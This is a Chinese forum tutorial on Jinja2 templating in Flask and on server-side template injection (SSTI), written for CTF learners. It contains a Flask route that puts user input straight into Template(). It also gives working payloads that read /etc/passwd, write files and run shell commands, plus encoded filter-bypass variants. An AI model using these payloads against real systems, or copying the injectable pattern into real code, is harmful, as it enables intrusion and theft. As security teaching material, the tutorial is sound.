用户
搜索
  • TA的每日心情
    慵懒
    2021-2-27 23:27
  • 签到天数: 7 天

    连续签到: 1 天

    [LV.3]经常看看I

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    1

    主题

    8

    帖子

    120

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2019-10-8

    i春秋签约作者

    发表于 2021-2-4 23:11:55 39968
    本帖最后由 fatmo 于 2021-2-5 10:35 编辑

    本文原创作者fatmo,本文属i春秋原创奖励计划,未经许可禁止转载。

    0x01 模板引擎

    模板引擎指将指定格式语句生成对应标准HTML文档的应用。模板引擎可以使系统界面和系统逻辑处理代码分离,实现更快的开发,更好的扩展和维护。常见的模板引擎如下图:

    0x02 Jinja2模板引擎

    JinJa2是基于python的被广泛使用的一个模板引擎,其拥有自己的语法和一系列强大的功能。著名的Flask框架就使用Jinja2作为模板引擎,一些知名网站如Mozilla、Instagram也使用了JinJa2模板引擎。

    快速上手

    1.首先需要安装flask库

    pip install flask

    2.写一段最简单的flask程序,代码逻辑见注释

    from flask import Flask
    
    #实例化Flask对象
    app = Flask(__name__)
    
    @app.route('/')
    def index():
        '''
       网站主页,app.route('/')表示路由,此时还没有使用模板引擎,直接返回字符串
        '''
        return 'hello world'
    
    #  运行Flask应用,可选择指定ip和端口
    if __name__ == "__main__":
        app.run()
    

    3.flask默认端口为5000,将程序运行后,访问本机5000端口可以看到'hello world'字符串

    4.接下来引用Jinja2模板引擎,代码如下

    #导入Template
    from jinja2 import Template
    from flask import Flask,request
    
    app = Flask(__name__)
    
    @app.route("/")
    def index():
        #接收用户的get参数
        name = request.args.get('name')
    
        #将get参数name动态的显示在界面上
        t = Template('hello '+ name)
    
        #渲染模板,生成标准html代码
        return t.render()
    
    if __name__ == "__main__":
        app.run()

    5.此时访问页面,会发现网站已经动态的加载了我们请求的name参数

    6.那么,最基本的Jinja2功能就实现了

    Jinja2语法讲解

    Jinja2的语法一共由三种类型,分别为:

    • 变量显示:{{ }}
    • 控制结构:{% %}
    • 注释{# #}

    01 变量显示

    当网站后端需要动态渲染前端数据时,就需要使用变量显示语法。语法为:{{ 变量名 }},修改上述代码,使用变量显示语法来动态渲染请求的参数:

    #导入Template
    from jinja2 import Template
    from flask import Flask,request
    
    app = Flask(__name__)
    
    @app.route("/")
    def index():
        # 接收用户的get参数
        name = request.args.get('name')
    
        # 将get参数name动态的显示在界面上,使用变量显示语法
        t = Template('hello {{ name }}')
    
        # 渲染模板,生成标准html代码
        return t.render(name=name)
    
    if __name__ == "__main__":
        app.run()

    访问网站,同样渲染成功

    02 控制结构

    Jinja2的控制语句支持使用for循环来遍历python的列表、元组、字典(Jinja2不支持while循环),语法为:

    {% for 变量名 in 变量名 %}
            …………
    {% endfor %}

    同时也支持if条件判断,语法为:

    {%if 条件判断语句 %}
            …………
    {% elif 逻辑判断语句 %}
            …………
    {% else %}
            …………
    {% endif %}

    首先贴出for语句示例:

    # 导入Template
    from jinja2 import Template
    from flask import Flask, request
    
    app = Flask(__name__)
    
    @app.route("/")
    def index():
        nameList = ["ichunqiu", "i春秋"]
    
        # 使用for循环打印nameList
        t = Template('hello {% for item in nameList %} <p>{{ item }}<p> {% endfor %}')
    
        # 渲染模板,生成标准html代码
        return t.render(nameList=nameList)
    
    if __name__ == "__main__":
        app.run()

    可以看到,成功的把列表内的字符串都打印了出来:

    再看看if的示例:

    # 导入Template
    from jinja2 import Template
    from flask import Flask, request
    
    app = Flask(__name__)
    
    @app.route("/")
    def index():
        # 接收用户的get参数
        name = request.args.get('name')
    
        # if语法示例
        t = Template('hello {% if name == "ichunqiu" %} <p>flag:ichunqiu</p> {% endif %}')
    
        # 渲染模板,生成标准html代码
        return t.render(name=name)
    
    if __name__ == "__main__":
        app.run()
    

    传入参数name=ichunqiu,成功打印出flag:

    03 注释

    注释较简单,语法为:{# 注释内容 #}

    0x03 SSTI注入

    SSTI注入的本质其实与其他注入攻击的本质是一样的,都是:网站过分信任用户的输入。若网站对用户输入不加控制,用户可通过变量显示语法和控制结构语法执行python指令,从而窃取敏感信息甚至getshell。

    前置知识

    在了解SSTI注入之前,我们仍需要学习一些前置知识。

    先看python的几个内置函数:

        __class__ 返回调用的参数类型
        __bases__ 返回类型列表
        __mro__ 此属性是在方法解析期间寻找基类时考虑的类元组
        __subclasses__() 返回object的子类
        __globals__ 函数会以字典类型返回当前位置的全部全局变量,与func_globals等价
        __init__  类的初始化方法
            __globals__  对包含函数全局变量的字典的引用

    那么,构造语句{{}.__class__,就可以返回字符串' '的参数类型,就是dict类。

    python获取基本类(Object)的几种方法:

        //获取基本类 object
        ''.__class__.__mro__[2]
        {}.__class__.__bases__[0]
        ().__class__.__bases__[0]
        [].__class__.__bases__[0]
        request.__class__.__mro__[9]   //在flask的jinja2模块渲染是可用

    因为dict类的基类是基本类Object,那么,构造语句{}.__class__.__base__[0],即可获得基类Object。再构造Object.__subclasses__()就可以获取所有的子类,我们可以从从子类中寻找可以利用的类。

    获取子类的方法:

    {}.__class__.__bases__[0].__subclasses__()

    输出如下:

    [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'moduledef'>, <class 'module'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class 'zipimport.zipimporter'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'nt.ScandirIterator'>, <class 'nt.DirEntry'>, <class 'PyHKEY'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'MultibyteCodec'>, <class 'MultibyteIncrementalEncoder'>, <class 'MultibyteIncrementalDecoder'>, <class 'MultibyteStreamReader'>, <class 'MultibyteStreamWriter'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>]

    我们可以快速索引<type 'file'>这个子类,用此类可以操作文件

    {}.__class__.__bases__[0].__subclasses__().index(file)

    若输出40,则使用Payload:''.__class__.__mro__[2].__subclasses__()[40]

    就可以使用

    读文件实例:

    ''.__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()

    写文件实例:

    ''.__class__.__mro__[2].__subclasses__()[40]("/root/桌面/test.txt", "a").write("123")

    命令执行

    首先取到Object的所有子类,

    ''.__class__.__mro[2]__.__subclasses__()

    取到<class '_sitebuiltins._Printer'>.__init__的地址

    ' '.__class__.__mro__[2].__subclasses__()[119].__init__

    获得<class '_sitebuiltins._Printer'>类的所有的全局变量

    ' '.__class__.__mro__[2].__subclasses__()[119].__init__.__globals__

    找到os类执行代码

    ' '.__class__.__mro__[2].__subclasses__()[119].__init__.__globals__['os'].system('ls')

    下面提供两个好用的payload:

    #命令执行:
    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
    #文件操作
    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

    warning类为python的报错类,我们从warnings.catchwarnings类入手来找到eval模块或open模块。使用for循环遍历dict所有的子类,从子类中找到warnings.catchwarnings类(此为报错类,一定会有)。之后使用__init__实例化类,使用__globals__返回全局变量的字典,从字典中取出builtins类,再调用eval模块或open模块即可。builtins类定义如下:

    在我们使用python解释器时,builtins类会在启动时自动帮我们导入一部分类,这样我们就可以无需import直接使用默认导入的类。

    在IDLE中输出builtins,可以看到默认加载了eval类和open类。

    07.png

    常见过滤情况及应对

    1.过滤关键词,如os、open、eval等

    应对:使用符号+拼接被过滤关键词

    实例:{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}

    关键词import过滤,用'imp'+'ort'这样的方式实现绕过

    2.过滤符号'.'

    应对:使用[]绕过

    实例:[]['__class__']['__base__']['__subclasses__']()

    3.过滤符号{{ 或 }}

    应对:利用if语句进行盲注

    实例:{% if  ''.__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() == 'p' %}1{% endif %}

    4.过滤符号+以及关键词

    应对:对关键词进行16进制编码

    实例:{{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[64]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f"]("\x6f\x73")["\x70\x6f\x70\x65\x6e"]("ls")["\x72\x65\x61\x64"]()}}

    0x04 总结

    本文简单介绍的模板引擎的概念,Jinja2模板引擎的语法,以及SSTI注入的常规方法和绕过常见过滤的方法,内容较繁杂,需要好好消化理解。下一篇文章将实战CTF题目。

    0x05 参考链接

    百度百科 —— 模板引擎
    Jinja2官方文档
    builtinsbuiltin(builtins)


    正在看flask,我是新建了模版文件夹,渲染时用render_template()
    使用道具 举报 回复
    发表于 2021-2-8 09:45:21
    纯白的小白 发表于 2021-2-7 22:38
    正在看flask,我是新建了模版文件夹,渲染时用render_template()

    是的,一般工程上都是用render_template()来渲染,而这种方法是安全的,所以实战中几乎不会出现flask框架的SSTI注入,但此漏洞在CTF中出现率很高。
    使用道具 举报 回复
    这篇写的可以的!很棒
    让我们一起干大事!
    有兴趣的表哥加村长QQ:780876774!
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册